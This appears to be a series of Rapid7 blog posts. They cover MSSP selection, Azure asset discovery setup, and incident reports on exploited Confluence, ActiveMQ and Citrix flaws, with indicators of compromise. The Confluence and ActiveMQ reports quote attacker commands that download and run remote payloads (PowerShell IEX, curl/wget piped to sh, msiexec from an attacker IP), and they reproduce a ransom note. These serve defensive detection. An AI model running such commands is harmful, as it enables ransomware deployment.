When Maximum Effort Doesn't Equate to Maximum Results

It’s no secret that security teams are feeling beleaguered as a result of the barrage of data, events, and alerts generated by their security tools, to say nothing of the increased budget scrutiny and constrained staff resources that continue to plague cybersecurity practitioners.

The trick is finding the right balance between how much internal teams have to accomplish themselves versus how much they can cede to managed security service providers (MSSPs).

Historically, success in security operations (SecOps) was measured by how quickly teams could react to incoming threats; but the sheer number of alerts that require humans-in-the-loop to determine the accuracy and severity of security events make it nearly impossible for teams to keep up. Additionally, the number of tools deployed in a given organization today – to say nothing of the complexity required to make those tools work in concert – means reacting alone won’t get the job done anyway.

Unfortunately, many MSSPs don’t do enough to relieve customers of noisy alerts without expensive consulting agreements, which puts the burden to evaluate and remediate incidents back on already strapped in-house teams.

Traditional approaches have the added disadvantages of being too siloed, too slow, too antiquated for cloud environments, and too convoluted to demonstrate their value. Analysts at a leading research firm predict that within the next 12-18 months, 33% of organizations that currently have internal security functions will attempt and fail to build an effective internal SecOps because of resource constraints such as lack of budget, expertise, and staffing. Analysts further expect that within the next 12-18 months, 90% of internal SecOps will outsource at least 50% of their operational workloads – which makes choosing an MSSP you trust of paramount importance.

MSSPs enable organizations to maximize resilience while minimizing complexity and optimizing staff resources. The best solutions in the market will drive greater efficiency and consolidation by unifying vulnerability management and managed detection and response (MDR) into a single, cohesive security service built by practitioners for practitioners. They will offer 24x7x365 services that “follow the sun” (meaning no one service center is responsible for 100% of support calls; the work is distributed in certified centers of excellence around the world) so that top-notch support is readily available where and when you need it. Complete coverage and end-to-end detection and response services means you can feel confident that your teams are always ready for what comes next.

But it’s important to choose an MSSP that eschews a one-size-fits-all approach. Rather, look for a partner that is dynamic and flexible enough to meet the particular risk profile and business priorities of your organization, one adaptable enough to conform to changes in evolving threats and attack vectors.

Partnering with the right MSSP also allows you to optimize your SecOps for today’s distributed environments, built for the speed and scale of the cloud. Operating in the cloud means you can integrate hundreds of services with the thousands of devices connecting to them seamlessly and in real time; it also means you must protect and secure a sprawling surface with a multitude of potential entry points that threat actors can exploit.

To meet the challenge, choose an MSSP that offers complete coverage from a single, end-to-end solution so that you’re not left responding to an overabundance of events, alerts, and false positives or trying to protect an attack surface too big to contain.

Look for providers that deliver unlimited data, unlimited incident response, and unlimited intelligence so that when a forensic analysis is performed, their detailed remediation and mitigation recommendations make sure you can improve your resilience against future threats. And in the unfortunate event that a breach becomes a full-scope incident-response engagement, you want a partner that will work with you round-the-clock on the forensic investigation and deliver answers that will remove attackers from your environment as quickly as possible – without charging additional consulting fees.

Partnering with a proven MSSP will also boost your visibility across all services and devices to anticipate the most imminent risks, prevent attacks earlier, and respond to events faster. Additionally, an engagement that includes threat exposure manageability at scale through unified endpoint-to-cloud coverage can identify and respond to threats anywhere while breaking down functional and geographic silos that stall efficiency and reduce collaboration.

Critical functions like threat hunting and patch management can be automated across many tools and processes to reduce reliance on manual work. Machine learning and artificial intelligence models can be paired with internal threat telemetry data and chatbots to triage events, increase staff productivity, or produce threat reports that support more targeted and prioritized threat management across the enterprise.

Best of all, the successful use of AI and automation can help reduce the number of tools operating in your environment, which in turn decreases the complexity and cost of security operations.

It’s time to gain the edge over attackers and keep up with the fluid, ever-expanding threat landscape by eliminating threats wherever they emerge and proactively preventing breaches earlier in the kill chain. Partnering with a trusted MSSP will enable you to manage your threat exposure precisely and comprehensively, improve your signal-to-noise ratio, demonstrate tangible ROI from your security investments, and continually advance your security posture.

Learn more about the best criteria to use when reviewing the capabilities of potential MSSP partners.

Setup of Discovery Connection Azure

By: fuzzy borders

Are you having trouble trying to get your Azure assets into your InsightVM security console? In this blog post, we wanted to bring additional insight into leveraging the Azure Discovery Connection with InsightVM.

This blog post is brought to you by the Fuzzy Borders project, whose members come from different teams across Rapid7. Our goal is to find answers for requests that may fall into gray (fuzzy) areas. Our past work includes example API calls and SQL queries for InsightVM Security Consoles.

We hope this blog will help you get started with assessing your Azure virtual machines in InsightVM.

There are 3 main areas of configuration: Azure App Registration, IAM Subscription, and InsightVM Discovery Connection configuration.

Here is the overview of the steps:

Azure Configuration

  1. App Registration
  2. API Permissions
  3. Generate and Save the Secret Value
  4. IAM role permissions (Subscriptions Tab)
  5. Attach Reader role to App Registration

InsightVM Discovery Connection Configuration
Prerequisite: Allow outbound traffic to Azure from the InsightVM console server.

  1. Create a new site for Azure assets*
  2. Create Azure Discovery Connection
  3. Enter Azure Tenant ID, Application ID, Application Secret certificate Value

*The Azure Site should be dedicated to this discovery connection only.

Please keep note of the following items:

Application ID

Directory ID (a.k.a Tenant ID)

Value for the certificate Secret.

Configure Azure

We need to establish trust between Rapid7 and Azure. Click on “App registrations”

Setup of Discovery Connection Azure

Click: New registration

Setup of Discovery Connection Azure

Enter a display name for the application and click Register at the bottom. In this example we use “FuzzyDiscovery”

Setup of Discovery Connection Azure

We leave default values. Once you click Register it will return the Application ID, and Directory ID (a.k.a Tenant ID) that will be required in later steps.

Tip:
Either take a screenshot or copy and paste both the Application and Directory ID to a secure location to reference later.

Generate and Save the Secret Value

Click on Certificates & Secrets, click: Client Secrets, and add New Client Secret

Setup of Discovery Connection Azure

Important Note: We require the generated Secret Certificate Value, not the Secret ID.

Setup of Discovery Connection Azure

Configure API Permissions

Click on “Add a Permission” Search and Select: “Directory.Read.All”, and click Grant and Consent

Setup of Discovery Connection Azure


Setup of Discovery Connection Azure

Subscription Access

Click Home, and click Subscription, to set up our IAM role.

In the Subscriptions page, click Access Control (IAM), and click Add Role Assignment under “Grant access to this resource”

Setup of Discovery Connection Azure

Select the Reader role

Setup of Discovery Connection Azure

Enter the member created earlier. (Example: FuzzyDiscovery)

Setup of Discovery Connection Azure

Configure Console
Prerequisite: Allow outbound access to Azure https://docs.rapid7.com/nexpose/creating-and-managing-dynamic-discovery-connections/#preparing-insightvm

Create a dedicated new Site as a Destination for your Azure assets https://docs.rapid7.com/nexpose/creating-and-managing-dynamic-discovery-connections/#adding-a-microsoft-azure-connection

Create Azure Discovery Connection

Navigate to Administration - click: Discovery Connections

Setup of Discovery Connection Azure

From Azure App Registration fill out:

Tenant ID
Application ID

Application Security Certificate Value previously generated in Azure

Please note: In the case the secret was not saved previously, a new secret will have to be generated, and the previously generated secret can be revoked.

Troubleshooting Tips:

In the InsightVM console logs, review the eso.log for any errors and provide logs to support via a case.

Rapid7-Observed Exploitation of Atlassian Confluence CVE-2023-22518

Daniel Lydon and Conor Quinn contributed attacker behavior insights to this blog.

As of November 5, 2023, Rapid7 Managed Detection and Response (MDR) is observing exploitation of Atlassian Confluence in multiple customer environments, including for ransomware deployment. We have confirmed that at least some of the exploits are targeting CVE-2023-22518, an improper authorization vulnerability affecting Confluence Data Center and Confluence Server. Atlassian published an advisory for the vulnerability on October 31, 2023. MDR has also observed attempts to exploit CVE-2023-22515, a critical broken access control vulnerability in Confluence that came to light on October 4.

Atlassian updated their advisory for CVE-2023-22518 on November 3 to note that exploitation of the vulnerability had been reported to them by a customer.

Observed attacker behavior

Beginning November 5, 2023, Rapid7 MDR began responding to exploitation of Confluence Server within various customer environments. The alerts we observed occurred between 2023-11-05 10:08:34 and 23:05:35 UTC.

The process execution chain, for the most part, is consistent across multiple environments, indicating possible mass exploitation of vulnerable internet-facing Atlassian Confluence servers.

Rapid7 observed POST requests in HTTP access logs (/atlassian/confluence/logs) on both Windows and Linux. The requests were sent to /json/setup-restore.action?synchronous=true, as seen in the example below:

[05/Nov/2023:11:54:54 +0000] - SYSTEMNAME 193.176.179[.]41 POST /json/setup-restore.action?synchronous=true HTTP/1.1 302 44913ms - - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:09 +0000] admin SYSTEMNAME 193.176.179[.]41 GET /rest/plugins/1.0/?os_authType=basic HTTP/1.1 200 153ms 388712 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:10 +0000] admin SYSTEMNAME 193.176.179[.]41 DELETE /rest/plugins/1.0/web.shell.Plugin-key HTTP/1.1 404 3ms 40 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:10 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /rest/plugins/1.0/?token=-TOKENNUM HTTP/1.1 202 26ms 344 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:11 +0000] admin SYSTEMNAME 193.176.179[.]41 GET /rest/plugins/1.0/tasks/1f5049f1-6fd7-471d-937c-7afbe3158019 HTTP/1.1 200 4ms 229 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:16 +0000] admin SYSTEMNAME 193.176.179[.]41 GET /rest/plugins/1.0/tasks/1f5049f1-6fd7-471d-937c-7afbe3158019 HTTP/1.1 200 3ms 274 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Nov/2023:11:56:16 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /plugins/servlet/com.jsos.shell/ShellServlet?act=3 HTTP/1.1 200 27ms 212 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:17 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /plugins/servlet/com.jsos.shell/ShellServlet?act=3 HTTP/1.1 200 13ms 283 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:17 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /plugins/servlet/com.jsos.shell/ShellServlet?act=3 HTTP/1.1 200 14ms 556 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:18 +0000] admin SYSTEMNAME 193.176.179[.]41 DELETE /rest/plugins/1.0/web.shell.Plugin-key HTTP/1.1 204 129ms - - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36

Rapid7 managed services observed the following processes on the host systems as part of exploitation:

  • Linux

Parent process:

/opt/atlassian/confluence/jre//bin/java -Djava.util.logging.config.file=/opt/atlassian/confluence/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=XXXX -Datlassian.plugins.startup.options= -Dorg.apache.tomcat.websocket.DEFAULT_BUFFER_SIZE=32768 -Dconfluence.context.path= -Djava.locale.providers=JRE,SPI,CLDR -Dsynchrony.enable.xhr.fallback=true -Datlassian.plugins.enable.wait=300 -Djava.awt.headless=true -Xloggc:/opt/atlassian/confluence/logs/gc-YYYY-MM-DD_XX-XX-XX.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=5 -XX:GCLogFileSize=2M -Xlog:gc+age=debug:file=/opt/atlassian/confluence/logs/gc-YYYY-MM-DD_XX-XX-XX.log::filecount=5,filesize=2M -XX:G1ReservePercent=20 -XX:+UseG1GC -XX:+ExplicitGCInvokesConcurrent -XX:+PrintGCDateStamps -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=256m -Xms1024m -Xmx1024m -Dignore.endorsed.dirs= -classpath /opt/atlassian/confluence/bin/bootstrap.jar:/opt/atlassian/confluence/bin/tomcat-juli.jar -Dcatalina.base=/opt/atlassian/confluence -Dcatalina.home=/opt/atlassian/confluence -Djava.io.tmpdir=/opt/atlassian/confluence/temp org.apache.catalina.startup.Bootstrap start

Child process:

/usr/bin/bash -c whoami
Additional Commands (decoded and deobfuscated):
echo -n hxxp://193.176.179[.]41/agae > /tmp/lru
echo -n hxxp://193.43.72[.]11/mdrg > /tmp/lru
  • Windows

Parent process:

"DRIVE:\Confluence\Confluence\bin\tomcat9.exe" "//RS//Confluence"

Child processes:

cmd /c whoami 

Additional Commands (decoded and deobfuscated):
IEX((New-Object Net.WebClient).DownloadString("hxxp[:]//193[.]176[.]179[.]41/tmp.37")) 

Post-exploitation behavior

After the initial enumeration activity (whoami command spawned via Bash), the adversary executed Base64 commands to spawn follow-on commands via python2 or python3.

/usr/bin/bash -c whoami
echo -n hxxp://193.176.179[.]41/agae > /tmp/lru
uname -p 2> /dev/null (spawned by /usr/bin/python3.6)
/usr/bin/id -u (spawned by /usr/bin/python3.6)
/bin/chmod +x ./qnetd (spawned by /usr/bin/python3.6)
/bin/chmod 755 ./qnetd (spawned by /usr/bin/python3.6)
/tmp/qnetd (ransomware execution)

—-----------------------------------------
/usr/bin/bash -c whoami
echo -n hxxp://193.43.72[.]11/mdrg > /tmp/lru
curl -s hxxp://193.43.72[.]11/mdrg.sh || wget -q -O- hxxp://193.43.72[.]11/mdrg[.]sh)%7Csh 
/usr/bin/cat /tmp/lru (spawned by /usr/bin/bash)
/usr/bin/uname -m (spawned by /usr/bin/bash)
/usr/bin/rm -rf /tmp/lru (spawned by /usr/bin/bash)
/usr/bin/rm -rf sh (spawned by /usr/bin/bash)
/usr/bin/id -u (spawned by /usr/bin/bash) 
/usr/bin/rm -rf ./qnetd(spawned by /usr/bin/bash)
/usr/bin/chmod +x ./qnetd (spawned by /usr/bin/bash)
/usr/bin/chmod 755 ./qnetd (spawned by /usr/bin/bash)
/usr/bin/rm -rf ./qnetd (spawned by /usr/bin/python2.7)
/usr/bin/uname -p (spawned by /usr/bin/python2.7)
/usr/bin/id -u (spawned by /usr/bin/python2.7) 
/usr/bin/chmod +x ./qnetd (spawned by /usr/bin/python2.7)
/usr/bin/chmod 755 ./qnetd (spawned by /usr/bin/python2.7)
/tmp/qnetd (ransomware execution)

In multiple attack chains, Rapid7 observed post-exploitation command execution to download a malicious payload hosted at 193.43.72[.]11 and/or 193.176.179[.]41, which, if successful, led to single-system Cerber ransomware deployment on the exploited Confluence server.

Mitigation guidance

All versions of Confluence Server and Confluence Data Center are vulnerable to CVE-2023-22518. The vulnerability has been remediated in the following fixed versions:

  • 7.19.16
  • 8.3.4
  • 8.4.4
  • 8.5.3
  • 8.6.1

Atlassian Cloud users are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.

Customers should update to a fixed version of Confluence on an emergency basis, restricting external access to the application at least until they are able to remediate. If you are unable to restrict access to the application or update on an emergency basis, Atlassian’s advisory includes interim measures you can take to mitigate risk from known attack vectors. As always, Rapid7 strongly recommends applying vendor-supplied patches rather than relying solely on temporary mitigations.

Indicators of compromise

IP addresses:

  • 193.176.179[.]41
  • 193.43.72[.]11
  • 45.145.6[.]112

Domains:
j3qxmk6g5sk3zw62i2yhjnwmhm55rfz47fdyfkhaithlpelfjdokdxad[.]onion

File hashes:

  • Bat file: /tmp/agttydcb.bat - MD5: 81b760d4057c7c704f18c3f6b3e6b2c4

  • ELF ransomware binary: /tmp/qnetd - SHA256: 4ed46b98d047f5ed26553c6f4fded7209933ca9632b998d265870e3557a5cdfe

Ransom note: read-me3.txt

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2023-22518 with an unauthenticated check available as of the November 1, 2023 content release.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. The following detection rules are deployed and alerting on activity related to Atlassian Confluence exploitation:

  • Suspicious Process - Confluence Java App Launching Processes
  • Webshell - Commands Launched by Webserver
Suspected Exploitation of Apache ActiveMQ CVE-2023-46604

Beginning Friday, October 27, Rapid7 Managed Detection and Response (MDR) identified suspected exploitation of Apache ActiveMQ CVE-2023-46604 in two different customer environments. In both instances, the adversary attempted to deploy ransomware binaries on target systems in an effort to ransom the victim organizations. Based on the ransom note and available evidence, we attribute the activity to the HelloKitty ransomware family, whose source code was leaked on a forum in early October. Rapid7 observed similar indicators of compromise across the affected customer environments, both of which were running outdated versions of Apache ActiveMQ.

CVE-2023-46604 is a remote code execution vulnerability in Apache ActiveMQ that allows a remote attacker with network access to a broker “to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.” This is one of the more convoluted vulnerability descriptions we’ve seen, but the root cause of the issue is insecure deserialization.

Apache disclosed the vulnerability and released new versions of ActiveMQ on October 25, 2023. Proof-of-concept exploit code and vulnerability details are both publicly available. Rapid7’s vulnerability research team has tested the public PoC and confirmed that the behavior MDR observed in customer environments is similar to what we would expect from exploitation of CVE-2023-46604. Rapid7 research has a technical analysis of the vulnerability in AttackerKB.

Affected Products

According to Apache’s advisory, CVE-2023-46604 affects the following:

  • Apache ActiveMQ 5.18.0 before 5.18.3
  • Apache ActiveMQ 5.17.0 before 5.17.6
  • Apache ActiveMQ 5.16.0 before 5.16.7
  • Apache ActiveMQ before 5.15.16
  • Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
  • Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
  • Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
  • Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

Observed Attacker Behavior

During a successful exploitation of the vulnerability, Java.exe will contain the specific Apache application being targeted — in this case, D:\Program files\ActiveMQ\apache-activemq-5.15.3\bin\win64, which was observed as the parent process in both incidents. Post-exploitation, the adversary attempted to load remote binaries named M2.png and M4.png using MSIExec. The threat actor’s attempts at ransomware deployment were somewhat clumsy: In one of the incidents Rapid7 observed, there were more than half a dozen unsuccessful attempts to encrypt assets.

HelloKitty Ransomware Details

Rapid7 acquired the MSI files M4.png and M2.png from the domain 172.245.16[.]125 and analyzed them in a controlled environment. After analysis, Rapid7 observed that both MSI files contained a 32-bit .NET executable internally named dllloader. Within the .NET executable dllloader, Rapid7 found that the executable loads a Base64-encoded payload. We decoded the Base64-encoded payload and determined that it was a 32-bit .NET DLL named EncDLL.

The EncDLL binary contained functionality similar to that of ransomware — the DLL searches for specific processes and stops them from running. Rapid7 observed the DLL will encrypt specific file extensions using the RSACryptoServiceProvider function, appending encrypted files with the extension .locked. We also observed another function that provided information about which directories to avoid encrypting, a static variable assigned with the ransomware note, and a function that attempted communication to an HTTP server, 172.245.16[.]125.

The ransomware note indicated communications should occur through the email address service@hellokittycat[.]online:

send 0.1btc to my address:bc1ql8an5slxutu3yjyu9rvhsfcpv29tsfhv3j9lr4. contact email:service@hellokittycat.online,if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me.

Indicators of Compromise

Rapid7’s vulnerability research team analyzed CVE-2023-46604 and available public exploit code. In our test setup, activemq.log had a single line entry for successful exploitation of CVE-2023-46604:

2023-10-31 05:04:58,736 | WARN  | Transport Connection to: tcp://192.168.86.35:15871 failed: java.net.SocketException: An established connection was aborted by the software in your host machine | org.apache.activemq.broker.TransportConnection.Transport | ActiveMQ Transport: tcp:///192.168.86.35:15871@61616

In the above example, the attacker’s IP was 192.168.86.35, and the target TCP port was 61616. More or less information may be available depending on the logging settings, which can be modified.

Other IOCs:

Files dropped and executed via the msiexec command:

  • cmd.exe /c "start msiexec /q /i hxxp://172.245.16[.]125/m4.png"
  • cmd.exe /c "start msiexec /q /i hxxp://172.245.16[.]125/m4.png"

The following files hashes were part of the two MSI packages downloaded from the domain 172.245.16[.]125:

  • M2.msi: 8177455ab89cc96f0c26bc42907da1a4f0b21fdc96a0cc96650843fd616551f4
  • M4.msi: 8c226e1f640b570a4a542078a7db59bb1f1a55cf143782d93514e3bd86dc07a0
  • dllloader: C3C0CF25D682E981C7CE1CC0A00FA2B8B46CCE2FA49ABE38BB412DA21DA99CB7
  • EncDll: 3E65437F910F1F4E93809B81C19942EF74AA250AE228CACA0B278FC523AD47C

Mitigation Guidance

Organizations should update to a fixed version of ActiveMQ as soon as possible and look for indicators of compromise in their environments. Apache-supplied updates are available here. Apache also has information on improving the security of ActiveMQ implementations here.

Rapid7 Customers

Rapid7 MDR, InsightIDR, and Managed Threat Complete (MTC) customers have the following rules deployed and alerting on the post-exploitation activity related to this threat. Rapid7 recommends ensuring the Insight Agent is deployed to all applicable assets within our customers’ environments:

  • Suspicious Process - Apache ActiveMQ Launching CMD Process
  • Attacker Technique - MSIExec loading object via HTTP
  • Suspicious Process - Volume Shadow Service Delete Shadow Copies

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2023-46604 with an authenticated vulnerability check for Windows being targeted for today’s (Wednesday, November 1) content release.

CVE-2023-4966: Exploitation of Citrix NetScaler Information Disclosure Vulnerability

On October 10, 2023, Citrix published an advisory on two vulnerabilities affecting NetScaler ADC and NetScaler Gateway. The more critical of these two issues is CVE-2023-4966, a sensitive information disclosure vulnerability that allows an attacker to read large amounts of memory after the end of a buffer. Notably, that memory includes session tokens, which permits an attacker to impersonate another authenticated user. On October 17, Citrix updated the advisory to indicate that they have observed exploitation in the wild. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has also added CVE-2023-4966 to their Known Exploited Vulnerabilities (KEV) catalog.

On October 25, 2023, security firm Assetnote released an analysis, including a proof of concept, that demonstrates how to steal session tokens. Since then, Shadowserver has noted an uptick in scanning for that endpoint. Rapid7 MDR is investigating potential exploitation of this vulnerability in a customer environment but is not yet able to confirm with high confidence that CVE-2023-4966 was the initial access vector.

Rapid7 recommends taking emergency action to mitigate CVE-2023-4966. Threat actors, including ransomware groups, have historically shown strong interest in Citrix NetScaler ADC vulnerabilities. We expect exploitation to increase. Our research team has a technical assessment of the vulnerability and its impact in AttackerKB.

Affected Products

Citrix published a blog on October 23 that has exploitation and mitigation details. Their advisory indicates that CVE-2023-4966 affects the following supported versions of NetScaler ADC and NetScaler Gateway:

* NetScaler ADC and NetScaler Gateway 14.1 before 14.1-8.50

* NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.15

* NetScaler ADC and NetScaler Gateway 13.0 before 13.0-92.19

* NetScaler ADC 13.1-FIPS before 13.1-37.164

* NetScaler ADC 12.1-FIPS before 12.1-55.300

* NetScaler ADC 12.1-NDcPP before 12.1-55.300

Note: NetScaler ADC and NetScaler Gateway version 12.1 is now End-of-Life (EOL) and is vulnerable.

In order to be exploitable, the appliance must be configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server (which is a very common configuration). Citrix has indicated that customers using Citrix-managed cloud services or Citrix-managed Adaptive Authentication do not need to take any action.

Mitigation Guidance

Citrix NetScaler ADC and Gateway users should update to a fixed version immediately, without waiting for a typical patch cycle to occur. Additionally, Citrix’s blog on CVE-2023-4966 recommends killing all active and persistent sessions using the following commands:

kill icaconnection -all

kill rdp connection -all

kill pcoipConnection -all

kill aaa session -all

clear lb persistentSessions

For more information, see Citrix’s advisory.

Rapid7 Customers

InsightVM and Nexpose customers can assess their exposure to both of the CVEs in Citrix’s advisory (CVE-2023-4966, CVE-2023-4967) with authenticated vulnerability checks available in the October 23 content release.

Proactively Prevent Breaches with Expanded Endpoint Protection in Rapid7 MDR

Working with thousands of security and risk professionals across the globe, we know that complexity is the top challenge SOCs are facing today. As the attack surface rapidly expands, security teams need more effective ways to keep pace with digital transformation and get out of the cycle of constant reactive fire drills.

So, we have expanded endpoint protection within our leading MDR service, Managed Threat Complete, to include native next-generation antivirus (NGAV) and DFIR powered by our universal Insight Agent.

Building on the powerful vulnerability scanning, high efficacy threat detections, and rapid containment we deliver on the endpoint today, these new capabilities help unlock critical efficiency and consolidation teams need to gain control over their dynamic attack surface.

We’re also excited to integrate Velociraptor directly into InsightIDR. The integration empowers security teams to easily collect, query, and monitor virtually any aspect of their endpoint fleets with leading digital forensics and incident response (DFIR) technology and playbooks. Already a key tool used by our Incident Response consultants in every single Incident Response engagement, customers can now experience the power and insight Velociraptor brings on the endpoint, directly in the product.

Plus, Velociraptor now uses an expressive query language (rather than code), which makes it faster and easier to share custom detections with the open source community. This helps SOC teams root out new threats more quickly, while demonstrating our continued support to open source.

Rapid7 MDR: Full coverage, single trusted partner

A Gartner study found that 75% of organizations pursued security vendor consolidation in 2022, up from 29% in 2020. And we understand why. Rapid environment expansion and constantly escalating threats—combined with a growing skills gap—have left security professionals on their heels and over-indexed on reactive measures alone. Adoption of point solutions to keep up change has resulted in more noise, inefficiency, and burnout. Previous SecOp approaches are broken - there has to be change.

Rapid7 tackles complexity head-on with a more proactive approach to security operations. By unifying relevant exposure management, external threat intelligence, and now prevention capabilities we are able to get ahead of risk and eliminate breaches earlier. This also reduces the noise and alerts downstream, enabling high efficacy threat detection, and accelerated response. With Rapid7, customers can feel confident they are covered from endpoint to the cloud, across both known and unknown threats.

While the attack surface grows, endpoints remain a critical foot in the door and target for attackers. Rapid7 delivers full threat lifecycle coverage on the endpoint via our lightweight agent, including:

  • Anticipate threats to prevent breaches earlier with leading vulnerability management and Next-Gen Antivirus.
  • Rich telemetry, unique intelligence, and curated content drives high efficacy detections.
  • Full kill chain visibility and streamlined automation contain threats faster than ever.
  • Robust forensic insights for expedited investigations and advanced hunting powered by Velociraptor.

Looking Ahead: Proactive Ransomware Prevention

As Rapid7 continues to invest in the most complete endpoint solutions, it will be addressing one of the most pervasive threats organizations face today: ransomware. Leveraging a patented approach from the integrated Minerva technology, these future capabilities will be able to recognize the earliest signals and behaviors to identify and intercept headline-making attacks before they are able to execute.

Rapid7’s incident response team is currently using this technology in the field, and soon these powerful capabilities will be available to rapid7 MDR customers. You can learn more about how Rapid7 protects endpoints here.

Introducing Active Risk

Cyber risk is increasing both in volume and velocity. Given the landscape of threats, weaknesses, vulnerabilities, and misconfigurations, organizations, teams and vulnerability analysts alike need of better prioritization mechanisms. That's why we developed a new risk scoring methodology: Active Risk.

Rapid7 has offered five risk strategies for many years, each strategy with its own specific approach to surfacing that which matters most. Our sixth risk strategy, Active Risk, is designed to focus security and remediation efforts on the vulnerabilities that are actively exploited in the wild or most likely to be exploited.

Active Risk uses CVSS scores along with intelligence from threat feeds like AttackerKB, Metasploit, ExploitDB, Project Heisenberg, CISA KEV list, and other third-party dark web sources to provide security teams with threat-aware vulnerability risk scores on scale of 0-1000.

Active Risk is available via InsightVM, InsightCloudSec, Nexpose, and our recently released Executive Risk View.

Enter Active Risk

Introducing Active Risk

Exploitability has become one of those terms that the security community has maligned, not out of spite, but simply because it’s been applied to too many use cases. Exploitability refers to the ease with which a vulnerability in a computer system, software application, or network can be exploited. But, even that definition can be misleading. Semantics aside, exploitability is really a question of likelihood.

This new risk strategy is focused on delivering unambiguous near-time intelligence, by systematically including a number of threat intelligence sources to enhance vulnerability risk score(s).

There are a number of vulnerability intelligence sources that fuel prioritization in Active Risk, including:

  1. AttackerKB: Launched in 2020, a forum for the security community at large to share insights and views that help cut through all the hype and chaos, with a primary purpose to inform infosec professionals on vulnerabilities and security threats
  2. Project Heisenberg: A network of low interaction honeypots with a singular purpose, to understand what attackers, researchers, and organizations are doing in, across, and against cloud environments. This global network established in 2014, by Rapid7, it records telemetry about connections and incoming attacks to better understand the tactics, techniques, and procedures used by bots and human attackers
  3. Metasploit: Arguably the most widely used, community supported, ethical hacking framework on the planet, used by whitehats, security researchers and generalists in pentesting, <pick-your-color> teaming, CTF drills, education as well as broad or very specialized security assessment exercises
  4. Exploit Database (exploit-db.com): Widely used online repository and reference for security researchers, pentesters, and ethical hackers; it’s become a go-to resource offering an extensive archive of exploits and vulnerabilities, allowing users to track the evolution of security threats over time across software, hardware, and operating systems
  5. CISA Key Exploited Vulnerabilities (KEV) Catalog: Established in 2021 to “provide an authoritative source of vulnerabilities that have been exploited ‘in the wild,’” by the Cybersecurity & Infrastructure Security Agency; witnessing fairly broad and hasty adoption across industries as a method to focus and improve remediation throughput
  6. OSINT and Commercial Feeds: Dependent on the nature of the vulnerability or threat the sources above are combined and validated with additional intelligence and context to enhance prioritization results and ultimately customer outcomes

The immediate value in threat intel data ingestion and normalization alone, that Active Risk delivers, will incentivize and amplify the interest for potential adoption. Active Risk is also CVSS 3.1 compliant across all new CVEs and makes ready future adoption of revised scoring systems (CVSS v4.0 is targeting October 31, 2023 publication). There is strong market demand and intensifying use and application of ‘exploitability’ intelligence as seen in CVSS v4.0 and in CISA KEV as previously mentioned.

Normalize vulnerability risk scoring across cloud and on-prem environments

Active Risk normalizes risk scores across cloud and on-premises environments to effectively assess and collaborate with teams across an organization.

Security teams can leverage Active Risk dashboard cards in InsightVM and Executive Risk View in our Cloud Risk Complete solution to support cross-functional conversations.

Introducing Active Risk

Active Risk is a step change along the path of risk prioritization improvement, and the much longer and windier road we travel together towards improved risk management outcomes.

A Look at Our Development Process of the Cloud Resource Enrichment API

In today's ever-evolving cybersecurity landscape, detecting and responding to cyber threats is paramount for organizations in cloud environments. At the same time, investigating cyber threat alerts can be arduous due to the time-consuming and complex process of data collection. To tackle this pain point, Rapid7 developed a new Cloud Resource Enrichment API that streamlines data retrieval from various cloud resources. The API empowers security analysts to swiftly respond to cyber threats and improve incident response time.

Identifying the Need for a Unified API

